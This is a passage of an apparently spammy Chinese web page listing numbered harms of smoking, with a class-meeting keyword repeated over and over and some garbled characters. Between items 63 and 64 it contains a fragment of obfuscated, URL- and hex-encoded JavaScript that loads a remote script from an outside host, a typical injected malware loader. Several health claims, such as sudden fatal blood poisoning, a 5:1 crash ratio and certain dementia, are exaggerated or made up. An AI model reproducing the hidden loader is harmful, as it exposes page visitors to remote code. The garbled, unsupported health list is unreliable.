長期抽煙對(duì)下一代影響嚴(yán)重，這一點(diǎn)毋庸置疑；青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)21導(dǎo)致經(jīng)常胸悶難受，睡覺胳膊要舉過頭頂，不然很難入睡；22

長期抽煙可影響胰島素分泌，至使血糖和血脂升高，導(dǎo)致不餓；23

抽煙嚴(yán)重影響自己的意志力，導(dǎo)致很多事情不能堅(jiān)定執(zhí)行；24

在同事朋友面前要顧及面子抽貴煙好煙，真是花錢買罪受；25

朋友之間抽煙要互相遞送，大大增加吸煙量，生命大打折扣；26

很多公共場所都禁煙，抽煙會(huì)受到人格的歧視；27

平時(shí)舍不得吃舍不得喝也要花大把的錢抽煙，去傷害自己的身體，哥是不是腦袋有毛病了；28

抽煙的人身受4000種毒物的影響，皮膚、口腔、牙齒、眼睛、都會(huì)受損，嚴(yán)重影響個(gè)人形象，經(jīng)常有人說：一看這個(gè)人就是煙鬼；29自己抽煙還可能帶動(dòng)家人抽煙，給下一代帶頭作用的影響更壞；30

明知抽煙是惡習(xí)，然而久久不能戒除，真無能沒骨氣；青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)31經(jīng)常出現(xiàn)吐黑色痰和黃色痰，肺部經(jīng)常不適，估計(jì)肺已經(jīng)發(fā)黑了；32

長期吸煙的結(jié)果導(dǎo)致打呼嚴(yán)重，嚴(yán)重影響家人和自己的睡眠質(zhì)量；33污染自己居室的空氣以及辦公室的環(huán)境；34長期吸煙可導(dǎo)致中風(fēng)和偏癱，哥在想像偏癱中風(fēng)的走路姿勢；35

長期吸煙可增加各種慢性病的發(fā)病概率；36

長期吸煙導(dǎo)致聽力衰退，甚至耳聾；37

長期吸煙導(dǎo)致工作效率低下，經(jīng)常發(fā)呆，不知道在做什么事情；38

吸煙者完全失去自我，完全被一個(gè)小小的煙卷所控制；39

吸煙對(duì)心臟有巨大的壓力和危害，心臟可是生命的發(fā)動(dòng)機(jī)；40

有時(shí)抽煙抽的很難受了，但還想抽，進(jìn)而就更難受，痛苦不堪；

青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)41

長期吸煙導(dǎo)致皮膚粗糙、暗黃、衰老、皺褶、皮膚失去彈性；42

長期吸煙對(duì)腸胃的影響很大，影響腸胃的酸堿度，必引發(fā)潰瘍；43

抽煙過多導(dǎo)致頭暈?zāi)垦Ｉ踔量赡芑柝?，哥是親身體會(huì)出來的；44

抽煙經(jīng)常導(dǎo)致心浮氣躁，無法正常處理各種事情；45

抽煙導(dǎo)致經(jīng)常失眠，嚴(yán)重影響睡眠，直接影響第二天的工作質(zhì)量；46

吸煙使鍛煉身體努力的效果完全消失殆盡；47長期抽煙導(dǎo)致視力衰退甚至失明；48

抽煙容易導(dǎo)致血液凝結(jié)，導(dǎo)致冠心?。?9

長期抽煙出現(xiàn)猝死的概率極高；50

吸煙容易出現(xiàn)意外受傷，而且傷口不易愈合；青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)51

吸煙可導(dǎo)致心室顫動(dòng)異常，產(chǎn)生房顫，哥本來就有這個(gè)毛病，必須小心注意啦。52吸煙導(dǎo)致糖尿病，哥在這方面本來就有家族病史，更要戒煙；53

抽煙害人害己，連累家人、貽害子孫，恨一個(gè)人就請(qǐng)他抽煙；54長期吸煙必然導(dǎo)致智力衰退，老年癡呆、抑郁癥；55

長期抽煙易引發(fā)骨盆炎，骨頭受傷愈合很慢；56

長期抽煙導(dǎo)致免疫能力喪失，易感染各種疾?。?7

長期吸煙可導(dǎo)致白內(nèi)障，甚至導(dǎo)致失明；58

大量長期吸煙可導(dǎo)致血毒癥，直接斃命，無藥可救；59

抽煙可提高感染腦膜炎的概率；60

吸煙使人意志薄弱，無法堅(jiān)持鍛煉，無法持之以恒的做事；青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)61

長期抽煙者是不可能有一個(gè)強(qiáng)健的體魄的；62香煙里面有各種反射性物質(zhì)致癌，而且很難把它排出體外；63

長期吸煙可導(dǎo)致血液缺氧，導(dǎo)致動(dòng)脈硬化；tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D">64

吸煙大量破壞體內(nèi)維生素C，可導(dǎo)致營養(yǎng)不良并產(chǎn)生有毒物質(zhì)，；65

吸煙可導(dǎo)致咽喉癌、食道癌；66

煙草生產(chǎn)大量破壞耕地?fù)屨假Y源，來做有害人類的事情，做此事的人必遭天誅；67

隨處抽煙，可能引起失禮，得罪人，太不值得；68

香煙作為禮品動(dòng)輒上千元一條，實(shí)是敗壞社會(huì)風(fēng)氣，哥鄙視之；69長期抽煙可導(dǎo)致膀胱控制能力變差導(dǎo)致小便失禁；70

吸煙引起的死亡超過任何一種疾病或瘟疫，哥以前甚是恐懼癌癥，誰知吸煙就是癌癥的先頭部隊(duì)；青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)71

長期吸煙經(jīng)常會(huì)導(dǎo)致口干舌燥；72

大量抽煙可導(dǎo)致氣喘和心跳加快；73

長期抽煙可導(dǎo)致厭食癥；74抽煙使人精力不集中，增加車禍概率，據(jù)調(diào)查抽煙和不抽煙者車禍的概率為5：1；75長期抽煙對(duì)腎臟傷害巨大，可導(dǎo)致腎衰竭；76

抽煙可損傷牙齒牙齦，并導(dǎo)致口腔潰瘍；77長期抽煙的人容易出現(xiàn)精神方面的疾??；78長期抽煙導(dǎo)致鼻竇炎甚至鼻竇癌的概率很高；79

吸煙的人總是愛找各種借口唐塞，因?yàn)樗緛砭褪擒浫醯娜耍?0

長期吸煙導(dǎo)致骨頭變脆、骨質(zhì)疏松癥，老年吸煙者摔一跤可能幾塊骨頭都碎了，從此臥床到死了；青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)青少年吸煙的危害主題班會(huì)81由于吸煙破壞維生素吸收，因此吸煙的人容易患牛皮癬；82

吸煙的人由于血管變窄變細(xì)，全身血流不暢，經(jīng)常手腳冰涼；83